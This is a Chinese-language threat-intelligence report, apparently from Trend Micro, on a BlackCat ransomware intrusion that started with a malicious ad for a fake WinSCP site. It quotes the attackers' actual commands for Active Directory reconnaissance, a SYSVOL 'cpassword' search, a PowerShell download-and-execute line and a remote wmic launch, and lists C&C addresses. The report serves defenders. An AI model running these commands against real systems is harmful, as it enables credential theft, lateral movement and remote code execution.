BlackCat 駭客集團透過惡意廣告入侵企業,並且使用了 SpyBoy Terminator軟體

趨勢科技發現有駭客集團透過惡意廣告並且仿冒合法網站來散播惡意程式,駭客仿冒了知名開放原始碼檔案傳輸程式 WinSCP 的網站。受害企業會感染 BlackCat 勒索病毒 (又名 ALPHV),而且駭客還使用了 SpyBoy Terminator 軟體來試圖破壞資安軟體的防護。

最近,趨勢科技事件回應團隊在執行針對性攻擊偵測 (TAD) 服務時發現了一些相當可疑的活動,隨後便聯絡了遭到攻擊的企業。經過調查發現,歹徒透過惡意廣告並搭配仿冒的網頁來散播惡意程式。被仿冒的是知名的 WinSCP 開放原始碼檔案傳輸程式 (Windows 版)。

企業經常透過 Google Ads 這樣的平台來投放針對特定對象的廣告,以便衝高流量和提升買氣。而駭客集團也常在該平台刊登惡意廣告來散播惡意程式,他們會在使用者搜尋特定關鍵字時投放惡意廣告,引誘不知情的使用者下載惡意程式。

在這起案例當中,受害企業與趨勢科技團隊在調查之後發現駭客集團在該企業的網路內部執行了下列未經授權的惡意活動:

  • 竊取最高系統管理員權限,利用這些權限從事未經授權的活動。
  • 試圖常駐系統,使用 AnyDesk 遠端管理工具來建立可隨意進出企業環境的後門。
  • 試圖竊取密碼並嘗試存取備份伺服器。

假使趨勢科技當初沒有積極介入的話,這家企業很可能已經遭遇相當嚴重的後果,因為駭客已經成功取得網域系統管理員的權限,並且開始建立後門及常駐機制。

以下這起感染過程的示意圖。

圖 1:駭客的攻擊過程。


接下來,我們將詳細說明駭客如何突破企業的防線、執行了哪些攻擊,以及我們可從這次事件學到些什麼。

詳細的感染過程


這起感染起因於某位使用者在 Bing 上搜尋了「WinSCP Download」這串字。搜尋結果頂端出現一個惡意的 WinSCP 應用程式廣告。該廣告將使用者帶往一個可疑網站,網站上提供了如何利用 WinSCP 自動傳輸檔案的教學。

圖 2:惡意廣告將使用者帶往的可疑網站。


這是第一個網頁,接下來,使用者會被帶到仿冒的 WinSCP 下載網頁 (winsccp[.]com)。一旦使用者點選了網頁上的「Download」(下載) 按鈕,就會從某個已遭入侵的 WordPress 網頁 (hxxps://events.drdivyaclinic[.]com) 下載一個 ISO 檔案。最近,駭客已經將其最終檔案的下載網址改到「4shared」檔案分享服務上。

圖 3:惡意下載網站。


整個感染過程包含三個階段:派送初始載入器、下載殭屍網路核心元件,最後,在系統植入惡意檔案,通常是後門程式。

這個經由惡意廣告的感染過程摘要如下:

  1. 使用者在搜尋列 (使用 Google 或 Bing) 輸入關鍵字來搜尋某個應用程式。此案例的使用者想下載 WinSCP 應用程式,所以就在 Bing 搜尋列輸入了「WinSCP Download」。
  2.  在正常搜尋結果的最頂端,使用者會看到一個 WinSCP 應用程式的惡意廣告,背後指向惡意網站。
  3. 使用者一旦在網站上點選了「Download」(下載) 按鈕,就會開始下載一個 ISO 檔案到系統上。

Twitter 上一位名為「 @rerednawyerg」的使用者率先發現這個感染過程跟之前的 AnyDesk 應用程式很像。使用者將 ISO 檔案掛載到系統後,會看到裡面含有「setup.exe」和「 msi.dll」兩個檔案,詳細說明如下:

  • Setup.exe:這是一個經過重新命名的「msiexec.exe」執行檔。
  • Msi.dll:這是一個延遲載入 (在使用者程式碼執行並參照到時才會載入) 的 DLL 函式庫,用來下載真正的 WinSCP 安裝程式以及惡意的 Python 執行檔環境,負責下載 Cobalt Strike 信標。
圖 4:使用者掛載 ISO 之後會看到的檔案。


「setup.exe」一旦執行,就會呼叫「msi.dll」,然後從 DLL 的 RCDATA 區段擷取出一個 Python 資料夾,負責下載 WinSCP 安裝程式到電腦上。接著在系統上安裝兩份 Python3.10:一個是正牌版本,路徑在「%AppDataLocal%\Python-3.10.10」資料夾,另一個是冒牌版本,路徑在「%Public%\Music\python」資料夾,後者含有木馬化的「python310.dll」。最後,DLL 會在系統登錄當中建立常駐機制,也就是在使用者登入時自動執行的程式清單「Run」底下新增一個名為「Python」的機碼,指向「C:\Users\Public\Music\python\pythonw.exe」。

圖 5:在系統登錄的「Run」清單底下產生一個名為「Python」的機碼。


當 pythonw.exe 啟動時,會載入一個木馬化且加密編碼的「python310.dll」,裡面含有 Cobalt Strike 信標,用來連上一個外部位址:167[.]88[.]164[.]141。

以下是用來取得信標主要模組的幕後操縱 (C&C) 伺服器:

檔案名稱C&C
pp.pyhxxps://167.88.164.40/python/pp2
work2.pyhxxps://172.86.123.127:8443/work2z
work2-2.pyhxxps://193.42.32.58:8443/work2z
work3.pyhxxps://172.86.123.226:8443/work3z

此外,電腦上還會出現多個排程工作,用來執行一些批次檔以便常駐在系統內。這些批次檔會透過 Python 腳本在記憶體中執行 Cobalt Strike 信標。有趣的是,這些 Python 腳本使用了「marshal」模組來執行一個編譯過的程式碼 (.pyc),負責下載惡意信標模組到記憶體中執行。

我們可以在 Trend Vision One™ 平台的 Workbench 上產生前述感染過程的示意圖。

圖 6:惡意程式的感染過程。


駭客還使用了幾個其他工具來探索企業的環境。首先,他們使用 AdFind 工具來蒐集 Active Directory (AD) 環境的資訊。駭客會利用 AdFind 來搜尋使用者帳號、提升其權限,甚至蒐集密碼 (雜湊碼) 等等。

此案例中,駭客用它來蒐集有關作業系統的資訊:

adfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName

這道指令會蒐集電腦名稱、一般名稱 (CN)、作業系統、dNSHostName 屬性等資訊,然後匯出成 CSV 格式。

駭客還使用以下 PowerShell 指令來蒐集使用者資訊並匯出到一個 CSV 檔案:

Get-ADUser -Filter * -Properties * | Select -Property EmailAddress,GivenName,Surname,DisplayName,sAMAccountName,Title,Department,OfficePhone,MobilePhone,Fax,Enabled,LastLogonDate | Export-CSV “C:\users\public\music\ADusers.csv” -NoTypeInformation -Encoding UTF8

此外我們也觀察到駭客使用 Sysinternals 所開發的指令列工具「AccessChk64」來檢查 Windows 物件的安全設定與存取權限。儘管駭客使用此工具的用意不明,但值得一提的是,此工具可查看使用者和群組的權限設定,並用來提升權限,以及搜尋存取控管設定較為薄弱的檔案、目錄或服務。 

接著,駭客使用 findstr 這個 Windows 內建的指令列工具來搜尋檔案內的字串 (或正規表達式):

findstr /S /I cpassword \\<REDACTED>\sysvol\<REDACTED>\policies\*.xml

這個指令的用途有可能是要找出任何含有「cpassword」這個字串的 XML 檔案。從資安的角度,它之所以值得注意是因為「cpassword」是 Active Directory 的群組原則偏好設定當中已經被淘汰的密碼儲存方式。

圖 7:駭客在攻擊中使用了 finsdtr 指令。


我們還看到駭客使用 PowerShell 來執行腳本。例如,以下指令:

IEX (New-Object Net.Webclient).DownloadString(‘hxxp://127[.]0[.]0[.]1:40347/’); Invoke-FindLocalAdminAccess -Thread 50

會呼叫 PowerShell 一個名為「 Invoke-FindLocalAdminAccess」的功能並傳入「-Thread 50」作為參數。呼叫這個功能應該是為了查詢電腦上的本機系統管理員存取權限。

另一個駭客使用的 PowerShell 腳本是「PowerView」。PowerView 屬於 PowerSploit 腳本集當中用來協助執行滲透測試與資安作業的腳本之一,主要用來搜尋並列出 AD 資源,經常被駭客用來蒐集有關 AD 環境的資訊。

PowerShell 的「Expand-Archive」指令是用來解開 ZIP 檔案:  

powershell -w hidden -command Expand-Archive C:\users\public\videos\python.zip -DestinationPath C:\users\public\videos\python

駭客使用 WMI 從遠端啟動 CoBeacon。 

C:\WINDOWS\system32\cmd.exe /C wmic /NODE:”<REDACTED>” process call create C:\users\public\videos\python\pythonw.exe C:\users\public\videos\python\work2-2.py

為了取得高權限的登入憑證並提升權限,駭客使用了一個含有 marshal 模組的 Python 腳本來幫  LaZagne (一個主機密碼擷取工具) 執行編譯過的程式碼。此外我們也在環境內發現另一個用來擷取 Veeam 登入憑證的腳本,其結構也同樣類似。

不僅如此,駭客還使用了 PsExec、BitsAdmin 及 curl 來下載其他工具並在環境內橫向移動。

駭客在系統上安裝了一個 KillAV BAT 腳本來試圖破壞趨勢科技軟體的防護 (KillAV 是一個專門用來停用或避開防毒軟體或惡意程式防護的惡意軟體)。不過,由於我們的軟體具備自我保護功能以及 VSAPI 偵測引擎,因此這個動作並未成功。此外,駭客也使用另一個 KillAV BAT 腳本來試圖停止 Windows Defender。

最後,駭客在環境內安裝了 AnyDesk 遠端管理工具 (並改名為「install.exe」) 以設法常駐在環境內部。

圖 8:用來常駐的遠端管理工具。


經過上述主動積極處理之後,駭客還沒來得及完成當初的目標或執行最終的惡意程式,就被我們從網路上徹底驅逐。我們的事件回應團隊當下就提供了反制措施,並告訴企業該建置哪些後續的中、長期資安程序。

與 BlackCat 使用的工具、技巧與程序 (TTP) 相同


我們根據前述的工具、技巧和程序進行一番深入調查之後發現,這起事件所感染的是BlackCat 勒索病毒 (又名 ALPHV)。除了前面提到的其他惡意程式和工具之外,我們發現駭客還使用了專門終結防毒軟體與端點偵測及回應 (EDR) 軟體的  SpyBoy  Terminator 來試圖破壞資安軟體的防護。

為了將企業的資料外傳,駭客使用了 PuTTY Secure Copy 用戶端 (PSCP) 來傳輸蒐集到的資訊。我們也追查駭客在這起事件當中使用的 C&C 網域,並發現了一個可能與 Cl0p  勒索病毒有關的檔案。

Files indicating possible Cl0p ransomware file
圖 9:可能與 Cl0p 勒索病毒有關的檔案。

結論與建議


近年來,駭客越來越會利用受害者所不曉得的漏洞,並且開始出現一些讓企業意想不到的行為。所以,除了持續防範未經授權的存取之外,企業內部網路的早期偵測及回應能力也至關重要。同時,立即的矯正也很重要,因為萬一企業的反應稍微慢了一點,就可能導致嚴重的後果。

如果企業能夠熟悉駭客的攻擊方式,不僅有助於發掘可能讓駭客入侵並造成重大損害的漏洞,還能採取必要的措施預先加以防範。

企業可採取以下資安措施來保護自己:

  • 教育員工有關網路釣魚的知識。舉辦教育訓練來讓員工了解什麼是網路釣魚,以及該如何辨識和防範,同時要特別強調:切勿點選可疑的連結,或從不明來源下載檔案。
  • 監控並記錄系統活動。將記錄檔集中管理,蒐集並分析來自各種網路裝置和系統的記錄檔。監控網路流量、使用者活動以及系統記錄檔,隨時偵測任何異常或可疑的行為。
  • 定義什麼是正常營運該有的正常網路流量。定義正常流量有助於發掘異常流量,例如未經授權的存取。
  • 改善事件回應和溝通。擬定一套事件回應計畫,好讓您企業在未來遭遇資安事件時有一套遵循的依據。建立清楚的溝通管道,以便告知所有利益關係人 (如:員工、客戶及監理機關) 有關已經發生的事件和已經採取的措施。
  • 尋求網路資安專業人員的協助。若您企業缺乏有效處理資安事件後續效應的專業能力或資源,請考慮聘請信譽良好的資安廠商來協助您處理事件回應、鑑識分析,以及資安改善事宜。

入侵指標 (IoC)

如需完整的入侵指標 (IoC) 清單,請至此處

原文出處:Malvertising Used as Entry Vector for BlackCat, Actors Also Leverage SpyBoy Terminator 作者:Lucas Silva、RonJay Caragay、Arianne Dela Cruz 和 Gabriel Cardoso